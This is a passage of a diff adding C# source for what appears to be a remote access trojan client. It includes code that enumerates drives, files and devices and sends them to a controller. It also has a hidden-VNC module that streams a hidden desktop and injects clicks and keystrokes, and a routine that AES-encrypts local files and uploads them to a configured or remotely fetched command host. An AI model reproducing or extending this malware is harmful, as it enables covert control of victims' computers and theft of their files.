device.DriverInfName = managementObject.TryGetProperty<string>("InfName");
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
var sb = new StringBuilder();
|
||||
foreach (var deviceInfo in list)
|
||||
sb.Append(deviceInfo.Name + "-=>"
|
||||
+ deviceInfo.DeviceId + "-=>"
|
||||
+ deviceInfo.Description + "-=>"
|
||||
+ deviceInfo.Manufacturer + "-=>"
|
||||
+ deviceInfo.Category + "-=>"
|
||||
+ deviceInfo.CustomCategory + "-=>"
|
||||
+ deviceInfo.StatusCode + "-=>"
|
||||
+ deviceInfo.HardwareId + "-=>"
|
||||
+ deviceInfo.DriverName + "-=>"
|
||||
+ deviceInfo.DriverBuildDate + "-=>"
|
||||
+ deviceInfo.DriverDescription + "-=>"
|
||||
+ deviceInfo.DriverVersion + "-=>"
|
||||
+ deviceInfo.DriverProviderName + "-=>"
|
||||
+ deviceInfo.DriverSigner + "-=>"
|
||||
+ deviceInfo.DriverInfName + "-=>");
|
||||
|
||||
var msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "device";
|
||||
msgpack.ForcePathObject("Message").AsString = sb.ToString();
|
||||
Program.TCP_Socket.Send(msgpack.Encode2Bytes());
|
||||
}
|
||||
|
||||
public static IEnumerable<TemporaryDeviceInfo> EnumerateDevices()
|
||||
{
|
||||
var loupGarou = Guid.Empty;
|
||||
var hDevInfo = Native.SetupDiGetClassDevs(ref loupGarou, IntPtr.Zero, IntPtr.Zero,
|
||||
Native.DiGetClassFlags.DIGCF_ALLCLASSES | Native.DiGetClassFlags.DIGCF_PRESENT);
|
||||
|
||||
if (hDevInfo == new IntPtr(-1)) throw new Win32Exception("INVALID_HANDLE_VALUE");
|
||||
|
||||
var deviceInfoData = new Native.SP_DEVINFO_DATA();
|
||||
deviceInfoData.Size = Marshal.SizeOf(deviceInfoData);
|
||||
|
||||
try
|
||||
{
|
||||
for (uint i = 0; Native.SetupDiEnumDeviceInfo(hDevInfo, i, ref deviceInfoData); i++)
|
||||
yield return new TemporaryDeviceInfo(hDevInfo, deviceInfoData);
|
||||
}
|
||||
finally
|
||||
{
|
||||
if (!Native.SetupDiDestroyDeviceInfoList(hDevInfo))
|
||||
throw new Exception("Failed to destroy device list");
|
||||
}
|
||||
}
|
||||
|
||||
public static void EnableDevice(IntPtr handle, Native.SP_DEVINFO_DATA diData, bool enable)
|
||||
{
|
||||
var @params = new Native.PropertyChangeParameters
|
||||
{
|
||||
Size = 8,
|
||||
DiFunction = Native.DiFunction.PropertyChange,
|
||||
Scope = Native.Scopes.Global,
|
||||
StateChange = enable ? Native.StateChangeAction.Enable : Native.StateChangeAction.Disable
|
||||
};
|
||||
|
||||
if (!Native.SetupDiSetClassInstallParams(handle, ref diData, ref @params,
|
||||
Marshal.SizeOf(@params)))
|
||||
throw new Win32Exception(Marshal.GetLastWin32Error());
|
||||
|
||||
if (!Native.SetupDiCallClassInstaller(Native.DiFunction.PropertyChange, handle, ref diData))
|
||||
{
|
||||
var err = Marshal.GetLastWin32Error();
|
||||
if (err == (int) SetupApiError.NotDisableable)
|
||||
throw new ArgumentException("Device can't be disabled (programmatically or in Device Manager).");
|
||||
|
||||
if (err >= (int) SetupApiError.NoAssociatedClass &&
|
||||
err <= (int) SetupApiError.OnlyValidateViaAuthenticode)
|
||||
throw new Win32Exception("SetupAPI error: " + (SetupApiError) err);
|
||||
|
||||
throw new Win32Exception(err);
|
||||
}
|
||||
}
|
||||
|
||||
private enum SetupApiError
|
||||
{
|
||||
NoAssociatedClass = unchecked((int) 0xe0000200),
|
||||
NotDisableable = unchecked((int) 0xe0000231),
|
||||
OnlyValidateViaAuthenticode = unchecked((int) 0xe0000245)
|
||||
}
|
||||
|
||||
public class TemporaryDeviceInfo
|
||||
{
|
||||
private Native.SP_DEVINFO_DATA _devinfoData;
|
||||
|
||||
public TemporaryDeviceInfo(IntPtr hDevInfo, Native.SP_DEVINFO_DATA deviceData)
|
||||
{
|
||||
HDevInfo = hDevInfo;
|
||||
_devinfoData = deviceData;
|
||||
}
|
||||
|
||||
public Native.SP_DEVINFO_DATA DeviceData => _devinfoData;
|
||||
public IntPtr HDevInfo { get; }
|
||||
|
||||
public string GetProperty(Native.SPDRP property)
|
||||
{
|
||||
var stringBuilder = new StringBuilder(1024);
|
||||
if (!Native.SetupDiGetDeviceRegistryProperty(HDevInfo, ref _devinfoData, Native.SPDRP.SPDRP_HARDWAREID,
|
||||
out _, stringBuilder, (uint) stringBuilder.Capacity, out _))
|
||||
return null;
|
||||
|
||||
return stringBuilder.ToString();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public static class ManagementExtensions
|
||||
{
|
||||
public static T TryGetProperty<T>(this ManagementObject managementObject, string propertyName)
|
||||
{
|
||||
try
|
||||
{
|
||||
return (T) managementObject[propertyName];
|
||||
}
|
||||
catch (Exception)
|
||||
{
|
||||
return default;
|
||||
}
|
||||
}
|
||||
|
||||
public static DateTime? ToDateTimeSafe(string dmtfDate)
|
||||
{
|
||||
try
|
||||
{
|
||||
return ManagementDateTimeConverter.ToDateTime(dmtfDate);
|
||||
}
|
||||
catch (Exception)
|
||||
{
|
||||
return null;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public static class EnumHelper
|
||||
{
|
||||
public static T GetAttributeOfType<T>(this Enum enumVal) where T : Attribute
|
||||
{
|
||||
var type = enumVal.GetType();
|
||||
var memInfo = type.GetMember(enumVal.ToString());
|
||||
var attributes = memInfo[0].GetCustomAttributes(typeof(T), false);
|
||||
return attributes.Length > 0 ? (T) attributes[0] : null;
|
||||
}
|
||||
|
||||
public static IEnumerable<T> GetUniqueFlags<T>(this Enum flags) where T : struct, IConvertible
|
||||
{
|
||||
ulong flag = 1;
|
||||
var flagsInt = Convert.ToInt32(flags);
|
||||
foreach (var value in Enum.GetValues(typeof(T)).Cast<Enum>())
|
||||
{
|
||||
var bits = Convert.ToUInt64(value);
|
||||
while (flag < bits) flag <<= 1;
|
||||
|
||||
var valueInt = Convert.ToInt32(value);
|
||||
if (flag == bits && (flagsInt & valueInt) == valueInt) yield return (T) (object) value;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,334 @@
|
|||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Diagnostics;
|
||||
using System.Drawing;
|
||||
using System.Drawing.Imaging;
|
||||
using System.IO;
|
||||
using System.Net;
|
||||
using System.Net.Sockets;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Text;
|
||||
using MessagePack;
|
||||
|
||||
namespace Client.HandlePacket
|
||||
{
|
||||
internal class HandleFile
|
||||
{
|
||||
public static List<Copy> Copies = new List<Copy>();
|
||||
public static string ZipPath = Path.Combine(Path.GetTempPath(), "7-Zip\\7z.exe");
|
||||
private static string m_desktopName;
|
||||
|
||||
public class Copy
|
||||
{
|
||||
public string HWID = null;
|
||||
public string FileCopy = null;
|
||||
public string PathCopy = null;
|
||||
}
|
||||
|
||||
public static void GetDrivers()
|
||||
{
|
||||
try
|
||||
{
|
||||
var allDrives = DriveInfo.GetDrives();
|
||||
|
||||
var msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "getDrivers";
|
||||
var sbDriver = new StringBuilder();
|
||||
foreach (var d in allDrives)
|
||||
if (d.IsReady)
|
||||
sbDriver.Append(d.Name + "-=>" + d.DriveType + "-=>");
|
||||
msgpack.ForcePathObject("Driver").AsString = sbDriver.ToString();
|
||||
Program.TCP_Socket.Send(msgpack.Encode2Bytes());
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Error(ex.Message);
|
||||
}
|
||||
}
|
||||
|
||||
public static void GetPath(string path)
|
||||
{
|
||||
try
|
||||
{
|
||||
var msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "getPath";
|
||||
var sbFolder = new StringBuilder();
|
||||
var sbFile = new StringBuilder();
|
||||
|
||||
if (path == "DESKTOP") path = Environment.GetFolderPath(Environment.SpecialFolder.Desktop);
|
||||
|
||||
if (path == "APPDATA")
|
||||
path = Path.Combine(Environment.GetEnvironmentVariable("USERPROFILE"), "AppData");
|
||||
|
||||
if (path == "USER") path = Environment.GetEnvironmentVariable("USERPROFILE");
|
||||
|
||||
if (path == "SYSTEM32") path = Environment.GetFolderPath(Environment.SpecialFolder.System);
|
||||
|
||||
if (path == "TEMP") path = Path.GetTempPath();
|
||||
|
||||
foreach (var folder in Directory.GetDirectories(path))
|
||||
sbFolder.Append(Path.GetFileName(folder) + "-=>" + Path.GetFullPath(folder) + "-=>" +
|
||||
new FileInfo(folder).LastWriteTime + "-=>");
|
||||
foreach (var file in Directory.GetFiles(path))
|
||||
using (var ms = new MemoryStream())
|
||||
{
|
||||
GetIcon(file.ToLower()).Save(ms, ImageFormat.Png);
|
||||
sbFile.Append(Path.GetFileName(file) + "-=>" + Path.GetFullPath(file) + "-=>" +
|
||||
Convert.ToBase64String(ms.ToArray()) + "-=>" + new FileInfo(file).Length + "-=>" +
|
||||
new FileInfo(file).LastWriteTime + "-=>" + GetFileType(file) + "-=>");
|
||||
}
|
||||
|
||||
msgpack.ForcePathObject("Folder").AsString = sbFolder.ToString();
|
||||
msgpack.ForcePathObject("File").AsString = sbFile.ToString();
|
||||
msgpack.ForcePathObject("CurrentPath").AsString = path;
|
||||
Program.TCP_Socket.Send(msgpack.Encode2Bytes());
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Error(ex.Message);
|
||||
}
|
||||
}
|
||||
public static void CopyDirectory(string sourceDirPath, string saveDirPath)
|
||||
{
|
||||
try
|
||||
{
|
||||
if (!Directory.Exists(saveDirPath))
|
||||
{
|
||||
Directory.CreateDirectory(saveDirPath);
|
||||
}
|
||||
string[] files = Directory.GetFiles(sourceDirPath);
|
||||
foreach (string file in files)
|
||||
{
|
||||
try
|
||||
{
|
||||
string pFilePath = saveDirPath + "\\" + Path.GetFileName(file);
|
||||
if (File.Exists(pFilePath))
|
||||
continue;
|
||||
File.Copy(file, pFilePath, true);
|
||||
}
|
||||
catch { }
|
||||
}
|
||||
|
||||
string[] dirs = Directory.GetDirectories(sourceDirPath);
|
||||
foreach (string dir in dirs)
|
||||
{
|
||||
CopyDirectory(dir, saveDirPath + "\\" + Path.GetFileName(dir));
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
private static string GetFileType(string Path)
|
||||
{
|
||||
try
|
||||
{
|
||||
var shinfo = new Native.SHFILEINFO();
|
||||
|
||||
var flag = Native.SHGFI.SHGFI_ATTRIBUTES | Native.SHGFI.SHGFI_TYPENAME
|
||||
;
|
||||
Native.SHGetFileInfo(Path, 0, out shinfo, (uint) Marshal.SizeOf(typeof(Native.SHFILEINFO)), flag);
|
||||
return shinfo.szTypeName;
|
||||
}
|
||||
catch (Exception e)
|
||||
{
|
||||
return "ERROR: " + e.Message;
|
||||
}
|
||||
}
|
||||
|
||||
private static Bitmap GetIcon(string file)
|
||||
{
|
||||
try
|
||||
{
|
||||
if (file.EndsWith("jpg") || file.EndsWith("jpeg") || file.EndsWith("gif") || file.EndsWith("png") ||
|
||||
file.EndsWith("bmp"))
|
||||
using (var myBitmap = new Bitmap(file))
|
||||
{
|
||||
return new Bitmap(myBitmap.GetThumbnailImage(48, 48,
|
||||
() => false, IntPtr.Zero));
|
||||
}
|
||||
|
||||
using (var icon = Icon.ExtractAssociatedIcon(file))
|
||||
{
|
||||
return icon.ToBitmap();
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
return new Bitmap(48, 48);
|
||||
}
|
||||
}
|
||||
|
||||
public static void ZipCommandLine(string args, bool isZip, string location)
|
||||
{
|
||||
if (isZip)
|
||||
Process.Start(new ProcessStartInfo
|
||||
{
|
||||
FileName = "\"" + ZipPath + "\"",
|
||||
Arguments = $"a -r \"{location}.zip\" {args} -y",
|
||||
WindowStyle = ProcessWindowStyle.Hidden,
|
||||
CreateNoWindow = true,
|
||||
UseShellExecute = false,
|
||||
ErrorDialog = false
|
||||
});
|
||||
else
|
||||
Process.Start(new ProcessStartInfo
|
||||
{
|
||||
FileName = "\"" + ZipPath + "\"",
|
||||
Arguments =
|
||||
$"x \"{args}\" -o\"{args.Replace(Path.GetFileName(args), "_" + Path.GetFileNameWithoutExtension(args))}\" -y",
|
||||
WindowStyle = ProcessWindowStyle.Hidden,
|
||||
CreateNoWindow = true,
|
||||
UseShellExecute = false,
|
||||
ErrorDialog = false
|
||||
});
|
||||
}
|
||||
|
||||
public static void Error(string ex)
|
||||
{
|
||||
var msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "fileError";
|
||||
msgpack.ForcePathObject("Message").AsString = ex;
|
||||
Program.TCP_Socket.Send(msgpack.Encode2Bytes());
|
||||
}
|
||||
|
||||
public static bool CheckForSevenZip()
|
||||
{
|
||||
try
|
||||
{
|
||||
if (File.Exists(ZipPath)) return true;
|
||||
|
||||
return false;
|
||||
}
|
||||
catch
|
||||
{
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
public static void ExecuteNewDesktop(string path)
|
||||
{
|
||||
if (!HandleHVNC.inited)
|
||||
{
|
||||
HandleHVNC.HandleHVNCInit();
|
||||
}
|
||||
|
||||
Native.SetThreadDesktop(HandleHVNC.hNewDesktop);
|
||||
var si = new Native.STARTUPINFO();
|
||||
si.cb = Marshal.SizeOf(si);
|
||||
si.lpDesktop = Program.HWID;
|
||||
|
||||
var pi = new Native.PROCESS_INFORMATION();
|
||||
|
||||
var result = Native.CreateProcess(null, path, IntPtr.Zero, IntPtr.Zero, true,
|
||||
Native.NORMAL_PRIORITY_CLASS,
|
||||
IntPtr.Zero, null, ref si, ref pi);
|
||||
Native.SetThreadDesktop(HandleHVNC.hOldDesktop);
|
||||
}
|
||||
|
||||
public static bool CreateProcess(string path)
|
||||
{
|
||||
var si = new Native.STARTUPINFO();
|
||||
si.cb = Marshal.SizeOf(si);
|
||||
|
||||
var pi = new Native.PROCESS_INFORMATION();
|
||||
|
||||
var result = Native.CreateProcess(null, path, IntPtr.Zero, IntPtr.Zero, true,
|
||||
Native.NORMAL_PRIORITY_CLASS,
|
||||
IntPtr.Zero, null, ref si, ref pi);
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
public void DownnloadFile(string file, string dwid )
|
||||
{
|
||||
try
|
||||
{
|
||||
Socket Client = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp)
|
||||
{
|
||||
ReceiveBufferSize = 50 * 1024,
|
||||
SendBufferSize = 50 * 1024,
|
||||
};
|
||||
if (string.IsNullOrEmpty(Program.Link))
|
||||
{
|
||||
if (TCPSocket.IsValidDomainName(Program.Host))
|
||||
{
|
||||
IPAddress[] addresslist = Dns.GetHostAddresses(Program.Host);
|
||||
|
||||
foreach (IPAddress theaddress in addresslist)
|
||||
{
|
||||
try
|
||||
{
|
||||
Client.Connect(theaddress, Program.Port);
|
||||
if (Client.Connected) break;
|
||||
}
|
||||
catch { }
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
Client.Connect(Program.Host, Program.Port);
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
using (WebClient wc = new WebClient())
|
||||
{
|
||||
NetworkCredential networkCredential = new NetworkCredential("", "");
|
||||
wc.Credentials = networkCredential;
|
||||
string resp = wc.DownloadString(Program.Link);
|
||||
string[] spl = resp.Split(new[] { ":" }, StringSplitOptions.None);
|
||||
Client.Connect(spl[0], Convert.ToInt32(spl[new Random().Next(1, spl.Length)]));
|
||||
}
|
||||
}
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "fileDownload";
|
||||
msgpack.ForcePathObject("HWID").AsString = Program.HWID;
|
||||
msgpack.ForcePathObject("DWID").AsString = dwid;
|
||||
msgpack.ForcePathObject("Name").AsString = Path.GetFileName(file);
|
||||
msgpack.ForcePathObject("File").SetAsBytes(File.ReadAllBytes(file));
|
||||
ChunkSend(Helper.Helper.Aes.Encrypt(msgpack.Encode2Bytes()), Client);
|
||||
|
||||
Client.Shutdown(SocketShutdown.Both);
|
||||
Client.Close();
|
||||
}
|
||||
catch
|
||||
{
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
private void ChunkSend(byte[] msg, Socket client)
|
||||
{
|
||||
try
|
||||
{
|
||||
byte[] buffersize = BitConverter.GetBytes(msg.Length);
|
||||
client.Poll(-1, SelectMode.SelectWrite);
|
||||
client.Send(buffersize);
|
||||
|
||||
int chunkSize = 50 * 1024;
|
||||
byte[] chunk = new byte[chunkSize];
|
||||
int SendPackage;
|
||||
using (MemoryStream buffereReader = new MemoryStream(msg))
|
||||
{
|
||||
BinaryReader binaryReader = new BinaryReader(buffereReader);
|
||||
int bytesToRead = (int)buffereReader.Length;
|
||||
do
|
||||
{
|
||||
chunk = binaryReader.ReadBytes(chunkSize);
|
||||
bytesToRead -= chunkSize;
|
||||
SendPackage = client.Send(chunk);
|
||||
} while (bytesToRead > 0);
|
||||
|
||||
binaryReader.Close();
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
return;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,470 @@
|
|||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Diagnostics;
|
||||
using System.Drawing;
|
||||
using System.Drawing.Imaging;
|
||||
using System.IO;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Threading;
|
||||
using System.Windows.Forms;
|
||||
using MessagePack;
|
||||
using Microsoft.VisualBasic.CompilerServices;
|
||||
|
||||
namespace Client.HandlePacket
|
||||
{
|
||||
internal static class HandleHVNC
|
||||
{
|
||||
public static bool IsOk { get; set; }
|
||||
public static bool inited = false;
|
||||
public static int screenx;
|
||||
public static int screeny;
|
||||
public static bool HigherThan81;
|
||||
public static IntPtr hNewDesktop;
|
||||
public static IntPtr hOldDesktop;
|
||||
|
||||
public static void HandleHVNCInit()
|
||||
{
|
||||
var m_desktopName = Program.HWID;
|
||||
hOldDesktop = Native.GetThreadDesktop(Native.GetCurrentThreadId());
|
||||
hNewDesktop = Native.CreateDesktop(m_desktopName,
|
||||
IntPtr.Zero, IntPtr.Zero, 0, Native.AccessRights, IntPtr.Zero);
|
||||
Native.SetThreadDesktop(hNewDesktop);
|
||||
HigherThan81 = Isgreaterorequalto81();
|
||||
screenx = Screen.PrimaryScreen.Bounds.Width;
|
||||
screeny = Screen.PrimaryScreen.Bounds.Height;
|
||||
TitleBarHeight = Native.GetSystemMetrics(4);
|
||||
if (TitleBarHeight < 5) TitleBarHeight = 20;
|
||||
inited = true;
|
||||
}
|
||||
|
||||
public static void CaptureAndSend()
|
||||
{
|
||||
Native.SetThreadDesktop(hNewDesktop);
|
||||
Native.SetProcessDPIAware();
|
||||
Bitmap bmp = null;
|
||||
BitmapData bmpData = null;
|
||||
Rectangle rect;
|
||||
Size size;
|
||||
Thread.Sleep(10);
|
||||
while (IsOk && Program.TCP_Socket.IsConnected)
|
||||
try
|
||||
{
|
||||
bmp = RenderScreenshot();
|
||||
rect = new Rectangle(0, 0, bmp.Width, bmp.Height);
|
||||
size = new Size(bmp.Width, bmp.Height);
|
||||
bmpData = bmp.LockBits(new Rectangle(0, 0, bmp.Width, bmp.Height), ImageLockMode.ReadWrite,
|
||||
bmp.PixelFormat);
|
||||
|
||||
using (var stream = new MemoryStream())
|
||||
{
|
||||
bmp.Save(stream, bmp.RawFormat);
|
||||
var byteImage = new byte[stream.Length];
|
||||
byteImage = stream.ToArray();
|
||||
var msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "hvnc";
|
||||
msgpack.ForcePathObject("Stream").SetAsBytes(byteImage);
|
||||
Program.TCP_Socket.Send(msgpack.Encode2Bytes());
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
break;
|
||||
}
|
||||
|
||||
try
|
||||
{
|
||||
Native.SetThreadDesktop(hOldDesktop);
|
||||
IsOk = false;
|
||||
bmp?.UnlockBits(bmpData);
|
||||
bmp?.Dispose();
|
||||
GC.Collect();
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Native.SetThreadDesktop(hOldDesktop);
|
||||
Program.TCP_Socket.Log(ex.Message);
|
||||
}
|
||||
}
|
||||
|
||||
public static void StopHVNC()
|
||||
{
|
||||
Native.SetThreadDesktop(hOldDesktop);
|
||||
IsOk = false;
|
||||
}
|
||||
|
||||
public static IntPtr lastactive;
|
||||
|
||||
public static IntPtr lastactivebar;
|
||||
|
||||
public static int quality = 100;
|
||||
|
||||
public static double resize = 1;
|
||||
|
||||
public static int TitleBarHeight;
|
||||
|
||||
|
||||
public static int startxpos;
|
||||
|
||||
public static int startypos;
|
||||
|
||||
public static int startwidth;
|
||||
|
||||
public static int startheight;
|
||||
|
||||
public static IntPtr handletomove;
|
||||
|
||||
public static IntPtr handletoresize;
|
||||
|
||||
public static IntPtr contextmenu;
|
||||
|
||||
public static bool rightclicked;
|
||||
|
||||
public static ImageCodecInfo[] codecs = ImageCodecInfo.GetImageEncoders();
|
||||
|
||||
public static void PostClickLD(int x, int y)
|
||||
{
|
||||
Native.SetThreadDesktop(hNewDesktop);
|
||||
|
||||
var intPtr = lastactive = Native.WindowFromPoint(new Point(x, y));
|
||||
var lpRect = default(Native.RECT);
|
||||
Native.GetWindowRect(intPtr, ref lpRect);
|
||||
checked
|
||||
{
|
||||
var point = new Point(x - lpRect.Left, y - lpRect.Top);
|
||||
var lpClassName = "#32768";
|
||||
var intPtr2 = Native.FindWindow(lpClassName, null);
|
||||
if (intPtr2 != IntPtr.Zero)
|
||||
{
|
||||
contextmenu = intPtr2;
|
||||
var lParam = (IntPtr) MakeLParam(x, y);
|
||||
var temp = Native.PostMessage(contextmenu, 513u, new IntPtr(1), lParam);
|
||||
rightclicked = true;
|
||||
}
|
||||
else if (Native.GetParent(intPtr) == (IntPtr) 0 && y - lpRect.Top < TitleBarHeight)
|
||||
{
|
||||
lastactivebar = intPtr;
|
||||
var temp = Native.PostMessage(intPtr, 513u, (IntPtr) 1,
|
||||
(IntPtr) MakeLParam(x - lpRect.Left, y - lpRect.Top));
|
||||
startxpos = x;
|
||||
startypos = y;
|
||||
handletomove = intPtr;
|
||||
Native.SetWindowPos(intPtr, new IntPtr(-2), 0, 0, 0, 0, 3u);
|
||||
Native.SetWindowPos(intPtr, new IntPtr(-1), 0, 0, 0, 0, 3u);
|
||||
Native.SetWindowPos(intPtr, new IntPtr(-2), 0, 0, 0, 0, 67u);
|
||||
}
|
||||
else if (Native.GetParent(intPtr) == (IntPtr) 0 && point.X > lpRect.Right - lpRect.Left - 10 &&
|
||||
point.Y > lpRect.Bottom - lpRect.Top - 10)
|
||||
{
|
||||
startwidth = x;
|
||||
startheight = y;
|
||||
handletoresize = intPtr;
|
||||
}
|
||||
else
|
||||
{
|
||||
var temp = Native.PostMessage(intPtr, 513u, (IntPtr) 1,
|
||||
(IntPtr) MakeLParam(x - lpRect.Left, y - lpRect.Top));
|
||||
}
|
||||
}
|
||||
|
||||
Native.SetThreadDesktop(hOldDesktop);
|
||||
}
|
||||
|
||||
public static void PostClickLU(int x, int y)
|
||||
{
|
||||
Native.SetThreadDesktop(hNewDesktop);
|
||||
|
||||
var hWnd = Native.WindowFromPoint(new Point(x, y));
|
||||
var lpRect = default(Native.RECT);
|
||||
Native.GetWindowRect(hWnd, ref lpRect);
|
||||
checked
|
||||
{
|
||||
if (rightclicked)
|
||||
{
|
||||
Native.PostMessage(contextmenu, 514u, new IntPtr(1), (IntPtr) MakeLParam(x, y));
|
||||
rightclicked = false;
|
||||
contextmenu = IntPtr.Zero;
|
||||
}
|
||||
else if ((startxpos > 0) | (startypos > 0))
|
||||
{
|
||||
Native.PostMessage(handletomove, 514u, (IntPtr) 0L,
|
||||
(IntPtr) MakeLParam(x - lpRect.Left, y - lpRect.Top));
|
||||
var lpRect2 = default(Native.RECT);
|
||||
Native.GetWindowRect(handletomove, ref lpRect2);
|
||||
var num = x - startxpos;
|
||||
var num2 = y - startypos;
|
||||
var num3 = lpRect2.Left + num;
|
||||
var num4 = lpRect2.Top + num2;
|
||||
Native.SetWindowPos(handletomove, new IntPtr(0), lpRect2.Left + num, lpRect2.Top + num2,
|
||||
lpRect2.Right - lpRect2.Left, lpRect2.Bottom - lpRect2.Top, 64u);
|
||||
startxpos = 0;
|
||||
startypos = 0;
|
||||
handletomove = IntPtr.Zero;
|
||||
}
|
||||
else if ((startwidth > 0) | (startheight > 0))
|
||||
{
|
||||
var lpRect3 = default(Native.RECT);
|
||||
Native.GetWindowRect(handletoresize, ref lpRect3);
|
||||
var num5 = x - startwidth;
|
||||
var num6 = y - startheight;
|
||||
var cx = lpRect3.Right - lpRect3.Left + num5;
|
||||
var cy = lpRect3.Bottom - lpRect3.Top + num6;
|
||||
Native.SetWindowPos(handletoresize, new IntPtr(0), lpRect3.Left, lpRect3.Top, cx, cy, 64u);
|
||||
startwidth = 0;
|
||||
startheight = 0;
|
||||
handletoresize = IntPtr.Zero;
|
||||
}
|
||||
else
|
||||
{
|
||||
Native.PostMessage(hWnd, 514u, (IntPtr) 0L, (IntPtr) MakeLParam(x - lpRect.Left, y - lpRect.Top));
|
||||
}
|
||||
}
|
||||
|
||||
Native.SetThreadDesktop(hOldDesktop);
|
||||
}
|
||||
|
||||
public static void PostClickRD(int x, int y)
|
||||
{
|
||||
Native.SetThreadDesktop(hNewDesktop);
|
||||
|
||||
var hWnd = Native.WindowFromPoint(new Point(x, y));
|
||||
var lpRect = default(Native.RECT);
|
||||
Native.GetWindowRect(hWnd, ref lpRect);
|
||||
checked
|
||||
{
|
||||
var point = new Point(x - lpRect.Left, y - lpRect.Top);
|
||||
Native.PostMessage(lastactive = Native.WindowFromPoint(new Point(x, y)), 516u, (IntPtr) 0L,
|
||||
(IntPtr) MakeLParam(x - lpRect.Left, y - lpRect.Top));
|
||||
}
|
||||
|
||||
Native.SetThreadDesktop(hOldDesktop);
|
||||
}
|
||||
|
||||
public static void PostClickRU(int x, int y)
|
||||
{
|
||||
Native.SetThreadDesktop(hNewDesktop);
|
||||
|
||||
var hWnd = Native.WindowFromPoint(new Point(x, y));
|
||||
var lpRect = default(Native.RECT);
|
||||
Native.GetWindowRect(hWnd, ref lpRect);
|
||||
checked
|
||||
{
|
||||
var point = new Point(x - lpRect.Left, y - lpRect.Top);
|
||||
var hWnd2 = Native.WindowFromPoint(new Point(x, y));
|
||||
Native.PostMessage(hWnd2, 517u, (IntPtr) 0L, (IntPtr) MakeLParam(x - lpRect.Left, y - lpRect.Top));
|
||||
}
|
||||
|
||||
Native.SetThreadDesktop(hOldDesktop);
|
||||
}
|
||||
|
||||
public static void PostMove(int x, int y)
|
||||
{
|
||||
Native.SetThreadDesktop(hNewDesktop);
|
||||
|
||||
var hWnd = Native.WindowFromPoint(new Point(x, y));
|
||||
var lpRect = default(Native.RECT);
|
||||
Native.GetWindowRect(hWnd, ref lpRect);
|
||||
Native.PostMessage(hWnd, 512u, (IntPtr) 0L, (IntPtr) checked(MakeLParam(x - lpRect.Left, y - lpRect.Top)));
|
||||
Native.SetThreadDesktop(hOldDesktop);
|
||||
}
|
||||
|
||||
public static void PostKeyDown(long k)
|
||||
{
|
||||
Debug.WriteLine(k);
|
||||
Native.SetThreadDesktop(hNewDesktop);
|
||||
|
||||
if (k == 8 || k == 13)
|
||||
{
|
||||
Native.PostMessage(lastactive, 256u, (IntPtr) k, CreateLParamFor_WM_KEYDOWN(1, 30, false, false));
|
||||
Native.PostMessage(lastactive, 257u, (IntPtr) k, CreateLParamFor_WM_KEYUP(1, 30, false));
|
||||
}
|
||||
else
|
||||
{
|
||||
Native.PostMessage(lastactive, 258u, (IntPtr) k, (IntPtr) 1);
|
||||
}
|
||||
|
||||
Native.SetThreadDesktop(hOldDesktop);
|
||||
}
|
||||
|
||||
public static IntPtr KeysLParam(ushort RepeatCount, byte ScanCode, bool IsExtendedKey, bool DownBefore, bool State)
|
||||
{
|
||||
var num = RepeatCount | (ScanCode << 16);
|
||||
if (IsExtendedKey) num |= 0x10000;
|
||||
if (DownBefore) num |= 0x40000000;
|
||||
if (State) num |= int.MinValue;
|
||||
return new IntPtr(num);
|
||||
}
|
||||
|
||||
public static IntPtr CreateLParamFor_WM_KEYDOWN(ushort RepeatCount, byte ScanCode, bool IsExtendedKey, bool DownBefore)
|
||||
{
|
||||
return KeysLParam(RepeatCount, ScanCode, IsExtendedKey, DownBefore, false);
|
||||
}
|
||||
|
||||
public static IntPtr CreateLParamFor_WM_KEYUP(ushort RepeatCount, byte ScanCode, bool IsExtendedKey)
|
||||
{
|
||||
return KeysLParam(RepeatCount, ScanCode, IsExtendedKey, true, true);
|
||||
}
|
||||
|
||||
public static int MakeLParam(int LoWord, int HiWord)
|
||||
{
|
||||
return (HiWord << 16) | (LoWord & 0xFFFF);
|
||||
}
|
||||
|
||||
[DllImport("user32.dll", SetLastError = true)]
|
||||
private static extern int SetWindowLong(IntPtr hWnd, int nIndex, int dwNewLong);
|
||||
|
||||
[DllImport("user32.dll", SetLastError = true)]
|
||||
private static extern int GetWindowLong(IntPtr hWnd, int nIndex);
|
||||
|
||||
public static Bitmap RenderScreenshot()
|
||||
{
|
||||
checked
|
||||
{
|
||||
var result = default(Bitmap);
|
||||
try
|
||||
{
|
||||
var t = new List<IntPtr>();
|
||||
Native.EnumDelegate lpEnumCallbackFunction = delegate(IntPtr hWnd, int lParam)
|
||||
{
|
||||
try
|
||||
{
|
||||
if (Native.IsWindowVisible(hWnd))
|
||||
{
|
||||
t.Add(hWnd);
|
||||
var style = GetWindowLong(hWnd, -20);
|
